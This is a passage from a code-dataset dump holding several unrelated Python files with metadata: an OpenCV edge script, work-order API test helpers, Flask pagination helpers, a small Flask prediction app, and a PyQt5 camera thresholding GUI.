"name"}]} {"seq_id": "515449081", "text": "\"\"\"\nHow to run:\npython find_HSV_pixels.py <image path>\n\"\"\"\n\nimport argparse\nimport cv2\nimport os\n\nfrom guiutils import HSV\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Visualizes the line for hough transform.')\n parser.add_argument('filename')\n\n args = parser.parse_args()\n\n img = cv2.imread(args.filename)\n\n cv2.imshow('input', img)\n\n edge_finder = HSV(img, 0, 255, 1)\n\n\n print (\"Edge parameters:\")\n print (\"Layer: %s\" % edge_finder.layer())\n print (\"Threshold1: %f\" % edge_finder.threshold1())\n print (\"Threshold2: %f\" % edge_finder.threshold2())\n\n (head, tail) = os.path.split(args.filename)\n\n (root, ext) = os.path.splitext(tail)\n\n smoothed_filename = os.path.join(\"output_images\", root + \"-smoothed\" + ext)\n edge_filename = os.path.join(\"output_images\", root + \"-edges\" + ext)\n\n\n\n cv2.destroyAllWindows()\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "Sobel-tools/find_HSV_pixels.py", "file_name": "find_HSV_pixels.py", "file_ext": "py", "file_size_in_byte": 911, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 21, "usage_type": "call"}, {"api_name": "guiutils.HSV", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "cv2.destroyAllWindows", "line_number": 40, "usage_type": "call"}]} {"seq_id": "213191027", "text": "# _*_coding: utf-8_*_\n\nimport json\nimport time\n\nimport requests\n\nfrom public import params\nfrom 测试用例.接口自动化.接口自动化_V1 import lcl_data\n\nBaseUrl = params.BaseUrl\nParaDir = params.ParaFile\n\n\nheaders = {\n 'Content-Tpye': 'application/json;charset=utf-8'\n }\n\n\ndef lcl_data_workorder(sheet, row):\n time.sleep(1)\n ordercode = \"IT_WO_\" + str(time.time())\n print(ordercode)\n dl = lcl_data(sheet, row)\n dl['code'] = ordercode\n # print(dl)\n return dl\n\n\ndef workorder_create(data):\n \"\"\"工单—创建\"\"\"\n url = BaseUrl + '/ime-container/imeWorkOrder/insertWorkOrder.action'\n # print(data)\n try:\n req = requests.post(url, headers=headers, data=json.dumps(data)).content.decode()\n return req\n except Exception as e:\n return e\n\n\ndef workorder_modify(data):\n \"\"\"工单-修改\"\"\"\n url = BaseUrl + '/ime-container/imeWorkOrder/modifyWorkOrder.action'\n # print(data)\n try:\n req = requests.post(url, headers=headers, data=json.dumps(data)).content.decode()\n return req\n except Exception as e:\n return e\n\n\ndef workorder_refecreaate(data):\n \"\"\"工单-参照订单生成\"\"\"\n url = BaseUrl + '/ime-container/imeWorkOrder/insertWorkOrderByPlanOrder.action'\n # print(data)\n try:\n req = requests.post(url, headers=headers, data=json.dumps(data)).content.decode()\n return req\n except Exception as e:\n return e\n\n\ndef workorder_savesort(flgid, wogidlist):\n \"\"\"工单-编排保存\"\"\"\n url = BaseUrl + '/ime-container/imeWorkOrder/saveWorkOrderSort.action?factoryLineGid=' + flgid\n data = {\n \"ids\": wogidlist,\n \"dateStr\": \"2018-01-01 00:00:00\"\n }\n print(url)\n print(data)\n try:\n req = requests.post(url, headers=headers, data=json.dumps(data)).content.decode()\n return req\n except Exception as e:\n return e\n\n\ndef workorder_release(wogidlist):\n \"\"\"工单-下发\"\"\"\n url = BaseUrl + '/ime-container/imeWorkOrder/releaseWorkOrder.action'\n try:\n req = requests.post(url, headers=headers, data=json.dumps(wogidlist)).content.decode()\n return req\n except Exception as e:\n return e\n\n\nif __name__ == '__main__':\n pass", "sub_path": "测试用例/接口自动化/接口自动化_V1/生产执行/工单/workorder_public.py", "file_name": "workorder_public.py", "file_ext": "py", "file_size_in_byte": 2238, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "public.params.BaseUrl", "line_number": 11, "usage_type": "attribute"}, {"api_name": "public.params", "line_number": 11, "usage_type": "name"}, {"api_name": "public.params.ParaFile", "line_number": 12, "usage_type": "attribute"}, {"api_name": "public.params", "line_number": 12, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 21, "usage_type": "call"}, {"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "测试用例.接口自动化.接口自动化_V1.lcl_data", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 35, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 35, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 46, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 46, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 57, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 57, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 73, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 73, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 83, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 83, "usage_type": "call"}]} {"seq_id": "127741327", "text": "from flask import jsonify, make_response, request, url_for\nfrom app import app\nfrom functools import wraps\nfrom app.models import User, postItem\n\n\ndef post_required(f):\n \"\"\"\n Decorator to ensure that a valid post id is sent in the url path parameters\n :param f:\n :return:\n \"\"\"\n\n @wraps(f)\n def decorated_function(*args, **kwargs):\n post_id_ = request.view_args['post_id']\n try:\n int(post_id_)\n except ValueError:\n return response('failed', 'Provide a valid post Id', 401)\n return f(*args, **kwargs)\n\n return decorated_function\n\n\ndef response(status, message, status_code):\n \"\"\"\n Make an http response helper\n :param status: Status message\n :param message: Response Message\n :param status_code: Http response code\n :return:\n \"\"\"\n return make_response(jsonify({\n 'status': status,\n 'message': message\n })), status_code\n\n\ndef response_with_post_item(status, item, status_code):\n \"\"\"\n Http response for response with a post item.\n :param status: Status Message\n :param item: postItem\n :param status_code: Http Status Code\n :return:\n \"\"\"\n return make_response(jsonify({\n 'status': status,\n 'item': item.json()\n })), status_code\n\n\ndef response_with_pagination(items, previous, nex, count):\n \"\"\"\n Get the post items with the result paginated\n :param items: Items within the post\n :param previous: Url to previous page if it exists\n :param nex: Url to next page if it exists\n :param count: Pagination total\n :return: Http Json response\n \"\"\"\n return make_response(jsonify({\n 'status': 'success',\n 'previous': previous,\n 'next': nex,\n 'count': count,\n 'items': items\n })), 200\n\n\ndef get_user_post(current_user, post_id):\n \"\"\"\n Query the user to find and return the post specified by the post Id\n :param post_id: post Id\n :param current_user: User\n :return:\n \"\"\"\n user_post = User.get_by_id(current_user.id).posts.filter_by(id=post_id).first()\n return user_post\n\n\ndef get_paginated_items(post, post_id, page, q):\n \"\"\"\n Get the items from the post and then paginate the results.\n Items can also be search when the query parameter is set.\n Construct the previous and next urls.\n :param q: Query parameter\n :param post: post\n :param post_id: post Id\n :param page: Page number\n :return:\n \"\"\"\n\n if q:\n pagination = postItem.query.filter(postItem.name.like(\"%\" + q.lower().strip() + \"%\")) \\\n .order_by(postItem.create_at.desc()) \\\n .filter_by(post_id=post_id) \\\n .paginate(page=page, per_page=app.config['post_AND_ITEMS_PER_PAGE'], error_out=False)\n else:\n pagination = post.items.order_by(postItem.create_at.desc()).paginate(page=page, per_page=app.config[\n 'post_AND_ITEMS_PER_PAGE'], error_out=False)\n\n previous = None\n if pagination.has_prev:\n if q:\n previous = url_for('items.get_items', q=q, post_id=post_id, page=page - 1, _external=True)\n else:\n previous = url_for('items.get_items', post_id=post_id, page=page - 1, _external=True)\n nex = None\n if pagination.has_next:\n if q:\n nex = url_for('items.get_items', q=q, post_id=post_id, page=page + 1, _external=True)\n else:\n nex = url_for('items.get_items', post_id=post_id, page=page + 1, _external=True)\n return pagination.items, nex, pagination, previous\n", "sub_path": "app/postitems/helper.py", "file_name": "helper.py", "file_ext": "py", "file_size_in_byte": 3521, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.request.view_args", "line_number": 16, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 63, "usage_type": "call"}, {"api_name": "app.models.User.get_by_id", "line_number": 79, "usage_type": "call"}, {"api_name": "app.models.User", "line_number": 79, "usage_type": "name"}, {"api_name": "app.models.postItem.query.filter", "line_number": 96, "usage_type": "call"}, {"api_name": "app.models.postItem.query", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.models.postItem", "line_number": 96, "usage_type": "name"}, {"api_name": "app.models.postItem.name.like", "line_number": 96, "usage_type": "call"}, {"api_name": "app.models.postItem.name", "line_number": 96, "usage_type": "attribute"}, {"api_name": "app.models.postItem.create_at.desc", "line_number": 97, "usage_type": "call"}, {"api_name": "app.models.postItem.create_at", "line_number": 97, "usage_type": "attribute"}, {"api_name": "app.models.postItem", "line_number": 97, "usage_type": "name"}, {"api_name": "app.app.config", "line_number": 99, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 99, "usage_type": "name"}, {"api_name": "app.models.postItem.create_at.desc", "line_number": 101, "usage_type": "call"}, {"api_name": "app.models.postItem.create_at", "line_number": 101, "usage_type": "attribute"}, {"api_name": "app.models.postItem", "line_number": 101, "usage_type": "name"}, {"api_name": "app.app.config", "line_number": 101, "usage_type": "attribute"}, {"api_name": "app.app", "line_number": 101, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 107, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 109, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 113, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 115, "usage_type": "call"}]} {"seq_id": "236735846", "text": "from flask import Flask, render_template, request\r\nimport pickle\r\nimport numpy as np\r\nmodel = pickle.load(open('model.pkl', 'rb'))\r\napp = Flask(__name__)\r\n@app.route('/')\r\ndef home():\r\n return render_template('forest.html')\r\n\r\n@app.route('/predict', methods = ['POST'])\r\ndef result():\r\n data1 = request.form['a']\r\n data2 = request.form['b']\r\n data3 = request.form['c']\r\n ar = np.array([[data1, data2, data3]])\r\n p = model.predict(ar)\r\n return render_template('prediction.html', data=p)\r\nif __name__ == \"__main__\":\r\n app.run(debug=True)\r\n", "sub_path": "Savage/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 561, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pickle.load", "line_number": 4, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 17, "usage_type": "call"}]} {"seq_id": "100465288", "text": "import sys\nimport cv2\nimport numpy as np\nimport os\nfrom configparser import ConfigParser\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtGui import QImage, QPixmap, QPainter, QPen, QGuiApplication\nfrom PyQt5.QtCore import QRect, Qt, QTimer, pyqtSignal, pyqtSlot\nfrom PyQt5.QtWidgets import QApplication, QDialog, QFileDialog, QGridLayout, QLabel, QPushButton, QSlider, QMessageBox\n\ndef qtpixmap_to_cvimg(qtpixmap):\n \"\"\" transform qtImage into numpy array ( regular image) \"\"\"\n qimg = qtpixmap.toImage()\n temp_shape = (qimg.height(), qimg.bytesPerLine() * 8 // qimg.depth())\n temp_shape += (4,)\n ptr = qimg.bits()\n ptr.setsize(qimg.byteCount())\n result = np.array(ptr, dtype=np.uint8).reshape(temp_shape)\n result = result[..., :3]\n return result\n\nclass mainUI(QDialog):\n \"\"\" deployment of the user interface \"\"\"\n \n def __init__(self):\n \"\"\" initialize the parameter and numpy array to save photoes \"\"\"\n super().__init__()\n self.initUI()\n \n self.img_regular = np.ndarray(())\n self.img_corp = np.ndarray(())\n self.img_processed = np.ndarray(())\n self.img_threshold = np.ndarray(())\n self.img_overlap = np.ndarray(())\n \n self.threshold_value = 0\n\n self.camera = cv2.VideoCapture()\n self.CAM_NUM = 0 # Set Camera num\n \n self.camera_timer = QtCore.QTimer()\n self.camera_timer.timeout.connect(self.queryFrame)\n self.corp_timer = QtCore.QTimer()\n self.corp_timer.timeout.connect(self.cropImg)\n self.corp_timer.timeout.connect(self.thresImg)\n self.corp_timer.timeout.connect(self.overlapImg)\n \n \n\n def initUI(self):\n \"\"\" deifine the component of the user interface \"\"\"\n # Define Size\n self.setGeometry(50,50,600,500)\n self.setWindowTitle('Load Image')\n\n # Define Buttum\n self.btnOpen = QPushButton('Open', self)\n self.btnSave = QPushButton('Save', self)\n self.btnRect = QPushButton('Rect', self)\n self.btnCrop = QPushButton('Corp', self)\n self.btnSaveParam = QPushButton('Save Param', self)\n self.btnLoadParam = QPushButton('Load Param', self)\n self.btnQuit = QPushButton('Quit', self)\n\n # Define Label\n self.label_regulerImg_sign = QLabel(\"Reguler Image : \")\n self.label_roiImg_sign = QLabel(\"ROI Image : \")\n self.label_thresImg_sign = QLabel(\"Threshold Image : \")\n self.label_overlapImg_sign = QLabel(\"Overlap : \")\n \n \n self.label_regularImg = CutImage(self)\n self.label_processedImg = QLabel(\"Processed img\")\n self.label_thresholdImg = QLabel(\"Threshold img\")\n self.label_overlapImg = QLabel(\"Overlapping img\")\n self.label_threshold = QLabel(\"threshold: 0 \",self)\n self.label_thresholdrate = QLabel(\"佔比率 : 0 \",self)\n \n # Define Slider\n self.threshold_slider = QSlider(Qt.Horizontal,self) \n self.threshold_slider.setMinimum(0)\n self.threshold_slider.setMaximum(255)\n self.threshold_slider.valueChanged[int].connect(self.changevalue)\n\n # Layout\n layout = QGridLayout(self)\n layout.addWidget(self.label_regulerImg_sign, 1, 1, 1, 1)\n layout.addWidget(self.label_regularImg, 2, 1, 2, 3) # (y,x,yspan,xspan)\n layout.addWidget(self.label_roiImg_sign, 4, 1, 1, 1)\n layout.addWidget(self.label_processedImg, 5, 1, 2, 3)\n layout.addWidget(self.label_thresImg_sign, 1, 4, 1, 1)\n layout.addWidget(self.label_thresholdImg, 2, 4, 2, 3)\n layout.addWidget(self.label_overlapImg_sign, 4, 4, 1, 1)\n layout.addWidget(self.label_overlapImg, 5, 4, 2, 3)\n \n layout.addWidget(self.label_threshold, 8, 7, 1, 1) \n layout.addWidget(self.label_thresholdrate, 7, 7, 1, 1) \n \n layout.addWidget(self.btnOpen, 9, 1, 1, 1)\n layout.addWidget(self.btnSave, 9, 2, 1, 1)\n layout.addWidget(self.btnRect, 9, 3, 1, 1)\n layout.addWidget(self.btnCrop, 9, 4, 1, 1)\n layout.addWidget(self.btnSaveParam, 9, 5, 1, 1)\n layout.addWidget(self.btnLoadParam, 9, 6, 1, 1)\n layout.addWidget(self.btnQuit, 9, 7, 1, 1)\n \n layout.addWidget(self.threshold_slider, 8, 5,1,2)\n\n # Define the Buttum Function\n self.btnOpen.clicked.connect(self.cameraSlot)\n self.btnSave.clicked.connect(self.saveSlot)\n self.btnRect.clicked.connect(self.rectSlot)\n self.btnCrop.clicked.connect(self.cropSlot) \n self.btnSaveParam.clicked.connect(self.saveParamSlot)\n self.btnLoadParam.clicked.connect(self.loadParamSlot) \n self.btnQuit.clicked.connect(self.close)\n\n \n def cameraSlot(self):\n \n if self.camera_timer.isActive() == False:\n self.openCamera()\n else:\n self.closeCamera()\n \n def openCamera(self):\n \n flag = self.camera.open(self.CAM_NUM)\n \n if flag == False:\n msg = QMessageBox.warning(self, u'Warning', u'Please Check Your Camera Connection',\n buttons = QMessageBox.Ok,\n defaultButton = QMessageBox.Ok)\n else:\n self.camera_timer.start(50)\n self.btnOpen.setText('Cam Off')\n \n def closeCamera(self):\n \n self.camera_timer.stop()\n self.corp_timer.stop()\n self.camera.release()\n self.label_regularImg.clear()\n self.label_processedImg.clear()\n self.label_thresholdImg.clear()\n self.btnOpen.setText('Cam On')\n \n def queryFrame(self):\n \"\"\"When Qtimer time out, refresh regular_img \"\"\"\n ret, self.frame = self.camera.read()\n scale_percent = 80 # percent of original size\n width = int(self.frame.shape[1] * scale_percent / 100)\n height = int(self.frame.shape[0] * scale_percent / 100)\n dim = (width, height)\n show = cv2.resize(self.frame,dim)\n# show = cv2.resize(self.frame,(480,360))\n show = cv2.cvtColor(show, cv2.COLOR_BGR2RGB)\n QImg = QImage(show.data, show.shape[1],show.shape[0],QImage.Format_RGB888)\n self.label_regularImg.setPixmap(QPixmap.fromImage(QImg))\n \n\n def saveSlot(self):\n \"\"\" Save Photo \"\"\"\n fileName, tmp = QFileDialog.getSaveFileName(self, 'Save Image', 'Image', '*.png *.jpg *.bmp')\n if fileName is '':\n return\n if self.img_processed.size == 1:\n return\n\n # Calling OpenCV function to save photo\n cv2.imwrite(fileName, self.img_processed)\n \n def rectSlot(self):\n \"\"\" Draw Rectangle on image \"\"\"\n \n self.label_regularImg.setCursor(Qt.CrossCursor)\n self.corp_timer.stop()\n \n\n def cropSlot(self):\n \n self.corp_timer.start(30)\n self.label_regularImg.setCursor(Qt.ArrowCursor)\n self.label_processedImg.clear()\n\n \n def cropImg(self):\n \"\"\" Corp the Image\"\"\"\n self.label_processedImg.setPixmap(processed_img)\n self.img_corp = qtpixmap_to_cvimg(processed_img)\n self.img_processed = cv2.cvtColor(self.img_corp, cv2.COLOR_BGR2GRAY)\n \n \n def changevalue(self,threshold):\n \"\"\" let the label change with the scroll bar \"\"\"\n sender = self.sender()\n if sender == self.threshold_slider:\n self.threshold_slider.setValue(threshold)\n self.label_threshold.setText('模型敏感度:'+str(threshold))\n self.threshold_value = threshold\n print (self.threshold_value)\n \n \n def thresImg(self):\n \"\"\"Threshold\"\"\"\n ret , self.img_threshold = cv2.threshold(self.img_processed,self.threshold_value,255,cv2.THRESH_BINARY) \n\n height, width = self.img_threshold.shape\n bytesPerline = 1 * width\n \n # Qimage read image\n self.qImg_threshold = QImage(self.img_threshold.data, width, height, bytesPerline, QImage.Format_Grayscale8)\n \n # show Qimage\n self.label_thresholdImg.setPixmap(QPixmap.fromImage(self.qImg_threshold))\n \n # Calculate the threshold value\n rate = PixelRate(self.img_threshold)\n self.label_thresholdrate.setText(\"佔比率 :\"+str(rate.thresholdRate())+\"%\")\n \n def overlapImg(self):\n \"\"\"Overlap Img\"\"\"\n mask = self.img_threshold\n mask_rgb = cv2.cvtColor(mask, cv2.COLOR_GRAY2RGB) \n \n height, width, depth = mask_rgb.shape\n for i in range(height):\n for j in range(width):\n if mask[i, j] == 255:\n mask_rgb[i, j] = (255,0,0)\n\n img = cv2.cvtColor(self.img_corp, cv2.COLOR_BGR2RGB)\n \n self.img_overlap = cv2.addWeighted(img, 0.8, mask_rgb, 0.2, 0)\n\n height, width, bp = self.img_overlap.shape\n bytesPerline = 3 * width\n\n # Qimage read image\n self.qImg_overlap = QImage(self.img_overlap.data, self.img_overlap.shape[1], self.img_overlap.shape[0],bytesPerline, QImage.Format_RGB888)\n \n # show Qimage\n self.label_overlapImg.setPixmap(QPixmap.fromImage(self.qImg_overlap))\n \n \n def saveParamSlot(self):\n config = ConfigParser()\n\n config['locate'] = {'x0': xywh[0],\n 'y0': xywh[1],\n 'w': xywh[2],\n 'h': xywh[3]}\n\n config['threshold'] = {'rate': self.threshold_value }\n\n with open('thres_param.ini', 'w') as configfile:\n config.write(configfile)\n \n msg = QMessageBox.warning(self, u'Warning', u'File save success!',\n buttons = QMessageBox.Ok)\n \n def loadParamSlot(self):\n filepath = \"thres_param.ini\"\n\n if os.path.isfile(filepath):\n msg = QMessageBox.warning(self, u'Warning', u'File exists',\n buttons = QMessageBox.Ok)\n \n else:\n msg = QMessageBox.warning(self, u'Warning', u'File does not exist',\n buttons = QMessageBox.Ok)\n \n \nclass PixelRate():\n \"\"\"Count the threshold rate\"\"\"\n \n def __init__(self, img):\n self.thresh_img = img\n \n def thresholdPixel(self):\n \"\"\"Count the pixel which is above the threshold\"\"\"\n area = 0\n height, width = self.thresh_img.shape\n for i in range(height):\n for j in range(width):\n if self.thresh_img[i, j] > 180:\n area += 1\n return area\n\n def totalPixel(self):\n \"\"\"Count the total pixel\"\"\"\n height, width = self.thresh_img.shape\n return height*width\n\n\n def thresholdRate(self):\n \"\"\"Calculate the Rate of the threshold\"\"\"\n Rate = (self.thresholdPixel()/self.totalPixel())*100\n Rate = np.round(Rate,2)\n return Rate\n \nclass CutImage(QLabel):\n \"\"\" define a class of Label to draw rectangle \"\"\"\n x0 = 0\n y0 = 0\n x1 = 0\n y1 = 0\n flag = False\n\n def mousePressEvent(self,event):\n self.flag = True\n self.x0 = event.x()\n self.y0 = event.y()\n self.x1 = 0 ##\n self.y1 = 0 ##\n print(\"Start : \",self.x0,self.y0) ##\n \n def mouseReleaseEvent(self,event):\n self.flag = False\n print(\"End : \",self.x1,self.y1) ##\n \n def mouseMoveEvent(self,event):\n if self.flag:\n self.x1 = event.x()\n self.y1 = event.y()\n self.update()\n \n def paintEvent(self, event):\n super().paintEvent(event)\n rect =QRect(self.x0, self.y0, self.x1-self.x0, self.y1-self.y0)\n \n painter = QPainter(self)\n painter.setPen(QPen(Qt.red,2,Qt.SolidLine))\n painter.drawRect(rect)\n \n pqscreen = QGuiApplication.primaryScreen()\n pixmap2 = pqscreen.grabWindow(self.winId(), min(self.x0, self.x1)+1,\n min(self.y0, self.y1)+1,\n abs(self.x1-self.x0)-2,\n abs(self.y1-self.y0)-2)\n \n global processed_img, xywh\n processed_img = pixmap2\n global xywh\n xywh = [min(self.x0, self.x1)+1, min(self.y0, self.y1)+1, abs(self.x1-self.x0)-2, abs(self.y1-self.y0)-2]\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n mainwindow = mainUI()\n mainwindow.show()\n sys.exit(app.exec_())", "sub_path": "Dynamic/realtime_thres/realtime_multi_write.py", "file_name": "realtime_multi_write.py", "file_ext": "py", "file_size_in_byte": 12640, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 18, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QDialog", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 34, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 41, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 41, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 43, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 43, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 57, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 58, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 60, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 61, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 62, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 63, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 66, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 67, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 68, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 69, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 73, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 74, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 75, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 76, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 77, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QSlider", "line_number": 80, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.Horizontal", "line_number": 80, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 80, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 86, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 131, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 131, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 132, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 132, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 133, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 133, "usage_type": "name"}, {"api_name": "cv2.resize", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 157, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 157, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 158, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage.Format_RGB888", "line_number": 158, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 159, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 159, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getSaveFileName", "line_number": 164, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 164, "usage_type": "name"}, {"api_name": "cv2.imwrite", "line_number": 171, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.CrossCursor", "line_number": 176, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 176, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.ArrowCursor", "line_number": 183, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 183, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 191, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 191, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 206, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 206, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage.Format_Grayscale8", "line_number": 212, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 215, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 215, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 224, "usage_type": "call"}, {"api_name": "cv2.COLOR_GRAY2RGB", "line_number": 224, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 232, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 232, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 234, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 240, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage.Format_RGB888", "line_number": 240, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 243, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 243, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 247, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 259, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 259, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Ok", "line_number": 260, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 260, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 265, "usage_type": "call"}, {"api_name": 